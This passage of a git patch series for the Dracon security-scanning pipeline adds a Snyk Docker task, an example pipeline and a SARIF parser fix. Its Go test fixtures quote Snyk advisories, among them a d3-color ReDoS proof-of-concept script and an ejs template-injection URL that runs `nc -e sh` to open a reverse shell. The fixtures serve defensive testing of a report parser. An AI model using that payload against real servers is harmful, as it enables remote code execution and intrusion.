C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `css-what` to version 5.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/fb55/css-what/commit/4cdaacfd0d4b6fd00614be030da0dea6c2994655)\\n- [GitHub PR](https://github.com/fb55/css-what/pull/503)\\n- [GitHub Release](https://github.com/fb55/css-what/releases/tag/v5.0.1)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable css-what package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-D3COLOR-1076508", + Title: "This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-D3COLOR-1076592\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in d3-color\"},\"fullDescription\":{\"text\":\"d3-color@3.0.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: d3-color\\n* Introduced through: spyros-frontend@1.0.0, react-flow-renderer@9.7.4 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-interpolate@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-transition@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale-chromatic@2.0.0 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale@3.3.0 › d3-interpolate@2.0.1 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-zoom@2.0.0 › d3-transition@2.0.0 › d3-color@2.0.0\\n# Overview\\n[d3-color](https://www.npmjs.org/package/d3-color) is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `rgb()` and `hrc()` functions. \\r\\n\\r\\nPoC by Yeting Li: \\r\\n```\\r\\nvar d3Color = require(\\\"d3-color\\\")\\r\\n// d3Color.rgb(\\\"rgb(255,255,255)\\\")\\r\\n\\r\\nfunction build_blank(n) {\\r\\n var ret = \\\"rgb(\\\"\\r\\n for (var i = 0; i \\u003c n; i++) {\\r\\n ret += \\\"1\\\"\\r\\n }\\r\\n return ret + \\\"!\\\";\\r\\n}\\r\\n\\r\\nfor(var i = 1; i \\u003c= 5000000; i++) {\\r\\n if (i % 1000 == 0) {\\r\\n var time = Date.now();\\r\\n var attack_str = build_blank(i)\\r\\n d3Color.rgb(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n }\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `d3-color` to version 3.1.0 or higher.\\n# References\\n- [Github PR](https://github.com/d3/d3-color/pull/100)\\n- [Github PR](https://github.com/d3/d3-color/pull/99)\\n- [GitHub PR](https://github.com/d3/d3-color/pull/89)\\n- [Github Releases](https://github.com/d3/d3-color/releases/tag/v3.1.0)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-EJS-2803309", + Title: "This file introduces a vulnerable ejs package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-EJS-2803307\",\"shortDescription\":{\"text\":\"High severity - Remote Code Execution (RCE) vulnerability in ejs\"},\"fullDescription\":{\"text\":\"(CVE-2022-29078) ejs@3.1.6\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ejs\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › workbox-webpack-plugin@6.4.2 › workbox-build@6.4.2 › @surma/rollup-plugin-off-main-thread@2.2.3 › ejs@3.1.6\\n# Overview\\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\\n\\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\\r\\n\\r\\n\\r\\n**Note:**\\r\\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\\r\\n\\r\\n# PoC:\\r\\nCreation of reverse shell:\\r\\n```\\r\\nhttp://localhost:3000/page?id=2\\u0026settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\\r\\n```\\n# Remediation\\nUpgrade `ejs` to version 3.1.7 or higher.\\n# References\\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\\n- [GitHub Release](https://github.com/mde/ejs/releases)\\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-94\",\"yarn\"]}} \n Message: This file introduces a vulnerable ejs package with a high severity vulnerability.", + }, + }, + } + workspace, err := os.MkdirTemp("", "dracon") + require.NoError(t, err) + defer os.RemoveAll(workspace) + producers.OutFile = filepath.Join(workspace, "out.pb") + err = writeOutput(sampleIssues) + require.NoError(t, err) + + _, err = os.Stat(producers.OutFile) + require.NoError(t, err) + + in, err := os.ReadFile(producers.OutFile) + require.NoError(t, err) + var wrote v1.LaunchToolResponse + err = proto.Unmarshal(in, &wrote) + require.NoError(t, err) + expectedIssues := []*v1.Issue{} + expectedIssues = append(expectedIssues, sampleIssues["Snyk Open Source"]...) + expectedIssues = append(expectedIssues, sampleIssues["Snyk Code"]...) + + foundIssues := 0 + for _, wroteIssue := range wrote.Issues { + for _, expectedIssue := range expectedIssues { + if wroteIssue.Type == expectedIssue.Type { + foundIssues += 1 + require.Equal(t, expectedIssue.Title, wroteIssue.Title) + require.Equal(t, expectedIssue.Description, wroteIssue.Description) + require.Equal(t, expectedIssue.Target, wroteIssue.Target) + require.Equal(t, expectedIssue.Severity, wroteIssue.Severity) + } + } + } + require.Equal(t, len(expectedIssues), foundIssues) +} diff --git a/components/producers/snyk-docker/task.yaml b/components/producers/snyk-docker/task.yaml new file mode 100644 index 000000000..0e70232af --- /dev/null +++ b/components/producers/snyk-docker/task.yaml @@ -0,0 +1,57 @@ +--- +apiVersion: tekton.dev/v1beta1 +kind: Task +metadata: + name: producer-snyk-docker + labels: + v1.dracon.ocurity.com/component: producer + v1.dracon.ocurity.com/test-type: sast + v1.dracon.ocurity.com/language: docker +spec: + params: + - name: producer-snyk-docker-api-key + type: string + - name: producer-snyk-docker-image + type: string + description: Run Snyk For docker + volumes: + - name: scratch + emptyDir: {} + workspaces: + - name: output + description: The workspace containing the source-code to scan. + steps: + - name: run-snyk + imagePullPolicy: IfNotPresent + env: + - name: SNYK_INTEGRATION_VERSION + value: docker + + image: 'snyk/snyk:docker' + script: | + set +xe + echo "authenticating to snyk" + snyk auth $(params.producer-snyk-docker-api-key) + echo "running snyk container test" + snyk container test --sarif-file=/scratch/snyk.out --docker $(params.producer-snyk-docker-image) + exitCode=$? + if [[ $exitCode -ne 0 && $exitCode -ne 1 ]]; then + echo "Snyk failed with exit code $exitCode" + exit $exitCode + else + echo "Snyk completed successfully! exitcode $exitCode" + fi + volumeMounts: + - mountPath: /scratch + name: scratch + + - name: produce-issues + imagePullPolicy: IfNotPresent + image: '{{ default "ghcr.io/ocurity/dracon" .Values.image.registry }}/components/producers/snyk:{{ .Chart.AppVersion }}' + command: ["/app/components/producers/snyk/snyk-parser"] + args: + - "-in=/scratch/snyk.out" + - "-out=$(workspaces.output.path)/.dracon/producers/snyk.pb" + volumeMounts: + - mountPath: /scratch + name: scratch From 98fce578f3bee3a5922f8525de834e497c2224a3 Mon Sep 17 00:00:00 2001 From: sg Date: Wed, 18 Sep 2024 21:34:59 +0100 Subject: [PATCH 2/4] example snyk workflow --- .../pipelines/snyk-project/kustomization.yaml | 11 ++++++++++ .../pipelines/snyk-project/pipelinerun.yaml | 22 +++++++++++++++++++ 2 files changed, 33 insertions(+) create mode 100644 examples/pipelines/snyk-project/kustomization.yaml create mode 100644 examples/pipelines/snyk-project/pipelinerun.yaml diff --git a/examples/pipelines/snyk-project/kustomization.yaml b/examples/pipelines/snyk-project/kustomization.yaml new file mode 100644 index 000000000..f9c3c63de --- /dev/null +++ b/examples/pipelines/snyk-project/kustomization.yaml @@ -0,0 +1,11 @@ +--- +apiVersion: kustomize.config.k8s.io/v1beta1 +kind: Kustomization +nameSuffix: -snyk-project +components: + - pkg:helm/dracon-oss-components/base + - pkg:helm/dracon-oss-components/producer-snyk + - pkg:helm/dracon-oss-components/producer-aggregator + - pkg:helm/dracon-oss-components/enricher-deduplication + - pkg:helm/dracon-oss-components/enricher-aggregator + - pkg:helm/dracon-oss-components/consumer-stdout-json diff --git a/examples/pipelines/snyk-project/pipelinerun.yaml b/examples/pipelines/snyk-project/pipelinerun.yaml new file mode 100644 index 000000000..4bfda0945 --- /dev/null +++ b/examples/pipelines/snyk-project/pipelinerun.yaml @@ -0,0 +1,22 @@ +--- +apiVersion: tekton.dev/v1beta1 +kind: PipelineRun +metadata: + generateName: dracon-snyk-project- +spec: + pipelineRef: + name: dracon-snyk-project + params: + - name: producer-snyk-docker-api-key + value: "" + - name: producer-snyk-docker-image + value: ubuntu + workspaces: + - name: output + volumeClaimTemplate: + spec: + accessModes: + - ReadWriteOnce + resources: + requests: + storage: 1Gi From 182d85ff2733aa35b791633645f3722316ba9bbc Mon Sep 17 00:00:00 2001 From: sg Date: Wed, 18 Sep 2024 21:40:29 +0100 Subject: [PATCH 3/4] nit: add an info log for where a producer wrote its output --- components/producers/producer.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/components/producers/producer.go b/components/producers/producer.go index 98b9dfa88..5d884c45e 100644 --- a/components/producers/producer.go +++ b/components/producers/producer.go @@ -123,6 +123,12 @@ func WriteDraconOut( stat, err := os.Stat(OutFile) if Append && err == nil && stat.Size() > 0 { + slog.Info( + "appending", + slog.Int("issues", len(cleanIssues)), + slog.String("tool", toolName), + slog.String("to", OutFile), + ) return putil.AppendResults(cleanIssues, OutFile) } return putil.WriteResults(toolName, cleanIssues, OutFile, scanUUUID, scanStartTime, scanTags) From a48625a4f506c34656714c0d2d836585c6cdaaa3 Mon Sep 17 00:00:00 2001 From: sg Date: Wed, 18 Sep 2024 21:47:34 +0100 Subject: [PATCH 4/4] bugfix:364 fix sarif parser bug where if no endline was provided the output would end in '-' --- pkg/sarif/sarif.go | 2 ++ pkg/sarif/sarif_test.go | 8 ++++++++ pkg/sarif/testdata/example_output.json | 27 ++++++++++++++++++++++++-- 3 files changed, 35 insertions(+), 2 deletions(-) diff --git a/pkg/sarif/sarif.go b/pkg/sarif/sarif.go index 4c112d5ef..8969a3e7c 100644 --- a/pkg/sarif/sarif.go +++ b/pkg/sarif/sarif.go @@ -199,6 +199,8 @@ func parseOut(run sarif.Run, rules map[string]*sarif.ReportingDescriptor, toolNa } if loc.PhysicalLocation.Region.EndLine != nil { el = fmt.Sprintf("%d", *loc.PhysicalLocation.Region.EndLine) + } else { + el = sl } target = fmt.Sprintf("%s:%s-%s", uri, sl, el) } else { diff --git a/pkg/sarif/sarif_test.go b/pkg/sarif/sarif_test.go index 04ed52506..3d1a0321d 100644 --- a/pkg/sarif/sarif_test.go +++ b/pkg/sarif/sarif_test.go @@ -27,6 +27,14 @@ func Test_ParseOut(t *testing.T) { } expectedIssues := []*v1.Issue{ + { + Target: "main.go:83-83", + Type: "G404", + Title: "[test for missing endLine, common in some tools]", + Severity: v1.Severity_SEVERITY_HIGH, + Confidence: v1.Confidence_CONFIDENCE_UNSPECIFIED, + Description: "Message: [test for missing endLine, common in some tools]", + }, { Target: "main.go:83-83", Type: "G404", diff --git a/pkg/sarif/testdata/example_output.json b/pkg/sarif/testdata/example_output.json index f90f802df..5aca2f4e5 100644 --- a/pkg/sarif/testdata/example_output.json +++ b/pkg/sarif/testdata/example_output.json @@ -1,6 +1,29 @@ { "runs": [{ - "results": [{ + "results": [ + { + "level": "error", + "locations": [{ + "physicalLocation": { + "artifactLocation": { + "uri": "main.go" + }, + "region": { + "snippet": { + "text": "r := rand.New(rand.NewSource(time.Now().UnixNano()))" + }, + "sourceLanguage": "go", + "startColumn": 7, + "startLine": 83 + } + } + }], + "message": { + "text": "[test for missing endLine, common in some tools]" + }, + "ruleId": "G404" + }, + { "level": "error", "locations": [{ "physicalLocation": { @@ -60,4 +83,4 @@ }], "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", "version": "2.1.0" -} \ No newline at end of file +}